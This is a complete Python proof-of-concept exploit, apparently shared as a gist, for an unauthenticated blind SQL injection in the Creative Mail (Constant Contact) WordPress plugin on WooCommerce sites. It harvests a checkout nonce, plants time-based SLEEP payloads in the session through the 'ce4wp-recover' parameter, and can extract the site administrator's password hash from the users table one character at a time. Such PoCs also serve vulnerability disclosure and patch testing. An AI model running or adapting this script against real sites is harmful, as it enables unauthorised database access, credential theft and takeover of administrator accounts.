gistfile1.txt

#!/usr/bin/env python3
"""
PoC: Unauthenticated SQL Injection in creative-mail-by-constant-contact
Plugin:  creative-mail-by-constant-contact (Constant Contact / CE4WP)
Vuln:    DatabaseManager::has_checkout_consent() – direct string interpolation
         into wpdb->prepare() with no placeholder, bypassing all escaping.

Requires WooCommerce active on the target site.

Attack chain (zero authentication):
  1. GET /checkout/?ce4wp-recover=<payload>
       → recover_checkout() stores payload in WC session['checkout_uuid']
       → page HTML contains the woocommerce-process_checkout nonce
  2. POST /wp-admin/admin-ajax.php
       action=ce4wp_abandoned_checkouts_capture_guest_checkout
       nonce=<from step 1>  email=poc@example.com
       → maybe_capture_guest_checkout() → save_checkout_data()
       → $uuid = WC()->session->get('checkout_uuid')   ← attacker value
       → has_checkout_consent($uuid)
       → SELECT … WHERE checkout_uuid = '<INJECTED>'   (no escaping)

Usage:
  python3 poc_creative_mail_sqli.py http://localhost:8080
  python3 poc_creative_mail_sqli.py http://localhost:8080 --dump
"""

import argparse
import re
import sys
import time

import requests

AJAX_ACTION = "ce4wp_abandoned_checkouts_capture_guest_checkout"


# ── HTTP helpers ───────────────────────────────────────────────────────────────

def find_checkout_url(base_url: str) -> str:
    """Try common checkout page paths; fall back to /?page_id= scan."""
    candidates = ["/checkout/", "/shop/checkout/"]
    for path in candidates:
        r = requests.get(f"{base_url}{path}", timeout=10, allow_redirects=True)
        if r.status_code == 200 and "woocommerce" in r.text.lower():
            return f"{base_url}{path}"
    # Scan page IDs 2–20
    for pid in range(2, 21):
        r = requests.get(f"{base_url}/", params={"page_id": pid}, timeout=10, allow_redirects=True)
        if r.status_code == 200 and "woocommerce-checkout" in r.text.lower():
            return r.url.split("?")[0] + f"?page_id={pid}"
    return f"{base_url}/?page_id=9"   # best guess fallback


def get_session_and_nonce(base_url: str, checkout_url: str = None,
                          product_id: int = None) -> tuple:
    """
    1. Add a product to cart (needed so WC renders the checkout form).
    2. Visit the checkout page with ce4wp-recover=init to:
         (a) create a WC session cookie
         (b) set an initial checkout_uuid in that session
         (c) extract the woocommerce-process_checkout nonce from the form HTML
    """
    if not checkout_url:
        checkout_url = find_checkout_url(base_url)
    print(f"[*] Using checkout URL: {checkout_url}")

    session = requests.Session()

    if product_id:
        # Add product to cart so WooCommerce renders the checkout form
        r = session.get(f"{base_url}/", params={"add-to-cart": product_id},
                        timeout=15, allow_redirects=True)
        print(f"[*] Added product {product_id} to cart: HTTP {r.status_code}, "
              f"cookies: {list(session.cookies.keys())}")

    # Visit checkout page WITHOUT ce4wp-recover — recover_checkout() calls
    # empty_cart() before returning, so mixing the two kills the cart and
    # WooCommerce redirects away before rendering the form (and its nonce).
    r = session.get(checkout_url, timeout=15, allow_redirects=True)
    r.raise_for_status()

    # WooCommerce embeds the nonce in several places; try them in order.
    patterns = [
        r'"woocommerce-process-checkout-nonce"\s+value="([a-f0-9]+)"',
        r'["\']nonce["\']\s*:\s*["\']([a-f0-9]+)["\']',
        r'checkout_nonce\s*:\s*["\']([a-f0-9]+)["\']',
        r'"([a-f0-9]{10})"',   # last-resort: any 10-char hex
    ]
    nonce = None
    for pat in patterns:
        m = re.search(pat, r.text)
        if m:
            nonce = m.group(1)
            break

    if not nonce:
        print("[-] Could not extract nonce from checkout page.")
        print("    Is WooCommerce active?  Is the checkout page at /checkout/?")
        sys.exit(1)

    print(f"[+] Session cookie: {dict(session.cookies)}")
    print(f"[+] Nonce extracted: {nonce}")
    return session, nonce


def inject(session: requests.Session, base_url: str, nonce: str, payload: str):
    """
    Two-request injection:
      1. Overwrite WC session checkout_uuid with our payload via the recover endpoint.
      2. Fire the nopriv AJAX handler to trigger has_checkout_consent().
    Returns (elapsed_seconds, response).
    """
    session.get(
        f"{base_url}/",
        params={"ce4wp-recover": payload},
        timeout=15,
    )

    start = time.perf_counter()
    r = session.post(
        f"{base_url}/wp-admin/admin-ajax.php",
        data={
            "action": AJAX_ACTION,
            "nonce":  nonce,
            "email":  "poc@example.com",
        },
        timeout=60,
    )
    elapsed = time.perf_counter() - start
    return elapsed, r


# ── Payload builders ───────────────────────────────────────────────────────────

def sleep_payload(seconds: int) -> str:
    """Unconditional time-based payload."""
    return f"' OR SLEEP({seconds})-- -"


def bool_payload(condition: str, seconds: int) -> str:
    """Sleep `seconds` when condition is TRUE, 0 when FALSE."""
    return f"' OR IF(({condition}),SLEEP({seconds}),0)-- -"


# ── Confirmation ───────────────────────────────────────────────────────────────

def confirm_vuln(session, base_url, nonce, sleep=4) -> bool:
    print(f"\n[*] Confirming vulnerability (sleep={sleep}s) …")

    t_slow, r_slow = inject(session, base_url, nonce, sleep_payload(sleep))
    t_fast, r_fast = inject(session, base_url, nonce, "00000000-0000-0000-0000-000000000000")

    print(f"    Slow payload elapsed : {t_slow:.2f}s  (HTTP {r_slow.status_code})")
    print(f"    Fast payload elapsed : {t_fast:.2f}s  (HTTP {r_fast.status_code})")
    print(f"    Difference           : {t_slow - t_fast:.2f}s")

    if t_slow - t_fast >= sleep * 0.75:
        print("[+] VULNERABLE — timing confirms blind SQL injection.")
        return True

    print("[-] No timing difference.  Site may not be vulnerable or WooCommerce inactive.")
    return False


# ── Data extraction ────────────────────────────────────────────────────────────

def extract_string(session, base_url, nonce, sql_expr: str,
                   max_len=64, sleep=4) -> str:
    """
    Extract a string from the DB one character at a time via binary search on
    ASCII values (time-based).  sql_expr must be a complete SELECT statement.
    """
    result = []
    for pos in range(1, max_len + 1):
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            cond = f"ASCII(SUBSTR(({sql_expr}),{pos},1))>{mid}"
            elapsed, _ = inject(session, base_url, nonce, bool_payload(cond, sleep))
            if elapsed >= sleep * 0.75:
                lo = mid + 1
            else:
                hi = mid

        char_code = lo
        if char_code <= 32 or char_code > 126:
            break
        result.append(chr(char_code))
        sys.stdout.write(f"\r    → {''.join(result)}")
        sys.stdout.flush()

    print()
    return "".join(result)


def dump_admin_hash(session, base_url, nonce, prefix="wp_", sleep=4):
    print(f"\n[*] Extracting admin password hash from {prefix}users …")
    val = extract_string(
        session, base_url, nonce,
        f"SELECT user_pass FROM {prefix}users WHERE ID=1",
        max_len=40, sleep=sleep,
    )
    print(f"[+] Admin hash: {val}")
    return val


# ── Entry point ────────────────────────────────────────────────────────────────

def main():
    ap = argparse.ArgumentParser(
        description=__doc__,
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    ap.add_argument("url", help="WordPress base URL, e.g. http://localhost:8080")
    ap.add_argument("--checkout-url", default=None,
                    help="Full checkout page URL if auto-detection fails")
    ap.add_argument("--product-id", type=int, default=None,
                    help="WooCommerce product ID to add to cart (needed to render checkout form)")
    ap.add_argument("--dump", action="store_true",
                    help="After confirming, dump admin hash")
    ap.add_argument("--prefix", default="wp_",
                    help="WordPress table prefix (default: wp_)")
    ap.add_argument("--sleep", type=int, default=4,
                    help="Seconds for SLEEP() payloads (default: 4)")
    args = ap.parse_args()

    base_url = args.url.rstrip("/")
    print(f"[*] Target: {base_url}")

    session, nonce = get_session_and_nonce(base_url, checkout_url=args.checkout_url,
                                           product_id=args.product_id)

    if not confirm_vuln(session, base_url, nonce, sleep=args.sleep):
        sys.exit(1)

    if args.dump:
        dump_admin_hash(session, base_url, nonce, args.prefix, args.sleep)


if __name__ == "__main__":
    main()